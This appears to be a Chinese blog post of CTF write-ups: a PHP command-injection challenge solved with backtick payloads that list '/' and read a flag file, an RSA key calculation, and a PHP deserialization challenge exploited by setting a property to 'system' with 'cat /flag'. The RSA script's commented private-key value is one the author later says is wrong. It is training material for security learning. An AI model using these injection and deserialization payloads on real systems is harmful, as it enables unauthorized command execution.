[UUCTF 2022 新生赛]ez_rce

embedded/2024/11/28 8:02:16/

[UUCTF 2022 新生赛]ez_rce

我们来分析一下这个代码:

首先是isset看我们有没有传一个为空的值,如果为空就输出居然都不输入参数,可恶!!!!!!!!!不为空就GET传参赋值给$code ,接着 如果 $code 中不包含这些模式中的任何一个,那么 preg_match 函数将返回 false,包含的话就输出看看你输入的参数!!!不叫样子!! 然后直接输出你写入的。反之就输出你想干什么????????? 最后show_source(__FILE__);是显示源码。

寻找flag,dir和print_r没被过滤

/?code=print_r(`dir+/`);

打开fffffffffflagafag

/?code=print_r(`nl+/fffffffffflagafag`);

得到flag

NSSCTF{This_IS_s0_easy_RCE}

[SWPUCTF 2021 新生赛]ez_rsa

这为RSA非对称加密,脚本加密试试

import libnum
import hashlib# 步骤1:定义RSA参数
p = 1325465431    # 第一个大质数
q = 152317153     # 第二个大质数
e = 65537         # 公钥指数# 步骤2:计算n和欧拉函数φ(n)
n = p * q         # n = 1325465431 × 152317153
phi_n = (p-1) * (q-1)  # φ(n) = (1325465431-1) × (152317153-1)# 步骤3:计算私钥d
d = libnum.invmod(e, phi_n)  # 计算e关于φ(n)的乘法逆元
print(d)  # 输出: 73244315057659# 步骤4:计算MD5哈希值
# 4.1 将d转换为字符串
d_str = str(d)  # "73244315057659"
# 4.2 将字符串编码为bytes
d_bytes = d_str.encode()  # b"73244315057659"
# 4.3 计算MD5哈希
md5_hash_d = hashlib.md5(d_bytes).hexdigest()  # c43c84bf24f5ef9c36b5394e1e6c2bad# 步骤5:构造并输出flag
print("NSSCTF{" + md5_hash_d + "}")  # NSSCTF{c43c84bf24f5ef9c36b5394e1e6c2bad}
  • RSA算法:RSA是一种非对称加密算法,使用一对公钥和私钥进行加密和解密操作。公钥用于加密数据,私钥用于解密数据。
  • 模数 nn:由两个大质数 pp 和 qq 相乘得到。
  • 欧拉函数 ϕ(n)ϕ(n):ϕ(n)=(p−1)(q−1)ϕ(n)=(p−1)(q−1),用于计算私钥。
  • 公钥指数 ee:通常选择为65537,这是一个常用的小质数。
  • 私钥 dd:通过求解方程 e⋅d≡1 (mod ϕ(n))e⋅d≡1 (mod ϕ(n)) 得到,确保 dd 是 ee 在模 ϕ(n)ϕ(n) 下的乘法逆元。
  • MD5哈希值:将私钥 dd 转换为字符串后,计算其MD5哈希值。MD5是一种常见的哈希函数,用于生成固定长度的哈希值。

上面好像算错了d=43476042047970113

然后再转为md5就行

得到flag

NSSCTF{08bb8fb628da85923e5734a75ac19ffe}

[SWPUCTF 2022 新生赛]1z_unserialize

我们来分析一下代码:

首先是定义了一个类,三个属性,接着$a=$this->lt

这里this ->lt(this->lly);

this−>lt和this->lly都可控,所以让lt=system,lly=命令即可实现命令执行

我们写一个反序列:

<?php
class lyh{public $url = 'NSSCTF.com';public $lt;public $lly;
}
$a = new lyh();
$a -> lt = 'system';
$a -> lly = 'cat /flag';
echo serialize($a);
?>

O:3:"lyh":3:{s:3:"url";s:10:"NSSCTF.com";s:2:"lt";s:6:"system";s:3:"lly";s:9:"cat /flag";}

得到反序列化的

得到flag

NSSCTF{11ca823f-60b6-4267-b91d-d85dcbd855d6}


http://www.ppmy.cn/embedded/141139.html

相关文章

git merge 排除文件

方法一&#xff1a; 在Git中&#xff0c;如果你想在合并时排除特定文件&#xff0c;你可以使用.gitattributes文件来指定合并策略。你可以设置一个自定义合并策略来忽略特定文件的合并。 首先&#xff0c;在仓库的根目录下创建或编辑.gitattributes文件&#xff0c;并添加以…

MySQL底层概述—4.InnoDB数据文件

大纲 1.表空间文件结构 (1)表空间Tablesapce (2)段Segment (3)区Extend (4)页Page (5)行Row 2.Page结构 (1)页结构各部分说明 (2)页结构整体划分 3.行记录格式 (1)行格式分类 (2)COMPACT行记录格式 (3)Compact中的行溢出机制 (4)其他行格式记录 1.表空间文件结构…

设计模式:12、中介者模式

目录 0、定义 1、中介者模式的四种角色 2、中介者模式的UML类图 3、示例代码 0、定义 用一个中介对象来封装一系列的对象交互。中介者使各对象不需要显示地相互引用&#xff0c;从而使其耦合松散&#xff0c;而且可以独立地改变他们之间的交互。 1、中介者模式的四种角色 …

C++ 类和对象(初始化列表)

目录 一、前言 二、正文 1.初始化列表 1.1初始化的格式 1.2初始化列表的使用 1.2.1引用成员变量初始化 1.2.2const成员变量 1.2.3没有默认构造函数的成员变量必须在初始化列表初始化 2.成员变量声明处给缺省值 一、前言 前面我们已经用所学知识运算符重载写了一个日期计…

Javaweb 前端 HTML css 案例 总结

顶部导航栏 弹性布局 搜索表单区域 表单标签 表单标签&#xff0c;表单项 复选&#xff0c;一次选多个 隐藏域&#xff0c;看不到&#xff0c;但会传参数 text输入框 radio单选 男女&#xff0c;是 前端页面上显示的值 搜索表单区域 button 按钮 表格数据展示区域 fo…

PHP 超级全局变量

超级全局变量是指在php任意脚本下都可以使用 PHP 超级全局变量列表: $GLOBALS&#xff1a;是PHP的一个超级全局变量组&#xff0c;在一个PHP脚本的全部作用域中都可以访问。 $_SERVER&#xff1a;$_SERVER 是一个PHP内置的超级全局变量,它是一个包含了诸如头信息(header)、路…

docker搭建socks5代理

准备工作 VPS安全组/策略放行相应端口如启用了防火墙&#xff0c;放行相应端口 实际操作 我们选用“历史悠久”的Dante socks5 代理服务器&#xff0c;轻量、稳定。Github也有对dante进行进一步精简的镜像&#xff0c;更为适宜。github项目地址如下&#xff1a; https://gi…

Educator头歌:离散数学 - 图论

第1关&#xff1a;图的概念 任务描述 本关任务&#xff1a;学习图的基本概念&#xff0c;完成相关练习。 相关知识 为了完成本关任务&#xff0c;你需要掌握&#xff1a;图的概念。 图的概念 1.一个图G是一个有序三元组G<V,R,ϕ>&#xff0c;其中V是非空顶点集合&am…